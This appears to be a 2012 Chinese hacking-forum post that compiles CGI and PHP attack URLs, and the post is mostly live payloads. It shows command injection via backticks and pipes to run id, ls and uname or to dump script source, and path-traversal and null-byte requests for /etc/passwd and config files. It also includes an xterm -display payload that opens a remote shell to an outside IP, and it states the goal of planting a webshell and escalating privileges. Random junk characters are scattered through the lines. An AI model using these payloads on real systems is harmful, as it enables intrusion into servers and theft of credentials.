找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2562|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  $ A* V3 `. p" L5 M; H+ `
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
: _- L$ {$ n0 Q; j: {; A感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
2 h; X' b: v1 D: ?; d注“  
, k! ?& ^8 \) _6 f) Eperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
% S2 p* C3 {# n- S4 J+ a# b以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  4 w9 e: {" U  P0 z

6 }* v4 H5 r* h4 T3 Ghttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  1 N; C0 n7 Q2 d. r. `, J
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  # r" a& W9 l# [
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  * q2 r$ O2 n: Z" m4 |
http://target.com/cgi-bin/home/news/sub.pl?`id`  
* }9 S' s- e- [) ]+ i1 i: @5 dhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  9 A" Z+ s8 M' G) |1 P, p7 M1 l
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
9 w- r! M( A( ~1 T' K
% z% X, O  O3 n7 Xhttp://target.com/test.pl;ls|  , x: ]  z' E1 z
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  ( Q$ A0 @4 j# R1 X
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  , ?0 F7 {3 b9 J* [7 j
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
" L9 V- _3 R' _% A0 Y比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
/ d/ ^' b# D* O/ n2 r. y% Ehttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
9 V. w( E4 ]8 R4 c3 d2 ?9 E7 D3 Y: Q! q- j7 X3 {  t
http://target.com/test.pl?&........ /../../etc/passwd  
" t, _3 z. M2 W$ z& G6 S' W. o3 C
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
/ ?+ h5 U3 N& a0 u) s5 V+ qhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  + \5 t' J  Y0 B/ \: w& ?: f
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
6 ^" S& H' p0 t4 @2 b: a3 i3 l& o3 K
http://www.target.org/show.php?f ... /include/config.php 查看php代码  7 u  L* k/ Y* f# V! i0 L2 l5 y) f* k: ?: v
http://www.target.org/show.php?f ... ng/admin/global.php  
8 Y$ s* S* ~# R9 C
6 F8 \& g) y9 z% T1 remm和ps的一句话
: V5 c& M7 |* F5 f, j5 `- ]; U$ A& D0 S  i
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  ; b  g; u* T9 @4 f! I4 W& {8 m# e/ \
. P. k" Y+ k5 i- W% N& L
>bbb%20|  0 k, ?. p9 ?. g, u

5 _9 t2 s4 f( m/ b/ _$ P, }http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  + l$ |& S4 A$ n; b  q: C) b

4 @& ^, A" a' q$ N) J: b7 ]http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
( R7 u5 @9 z) Q! f- g7 x0 z) B+ z; Vhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  ; [* D! [+ {; z3 s* C
- A5 {( V3 l4 g& r7 U  e+ ^
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  9 }. R) P; L6 S% w* B8 `3 _
http://target.com/index.html#cmd.exe  
/ j( W& i. }$ X' q; J; Phttp://target.com/index.html?dummyparam=xp_cmdshell  1 h8 C% ~8 P6 p) F
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  8 e) w7 ]5 N1 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表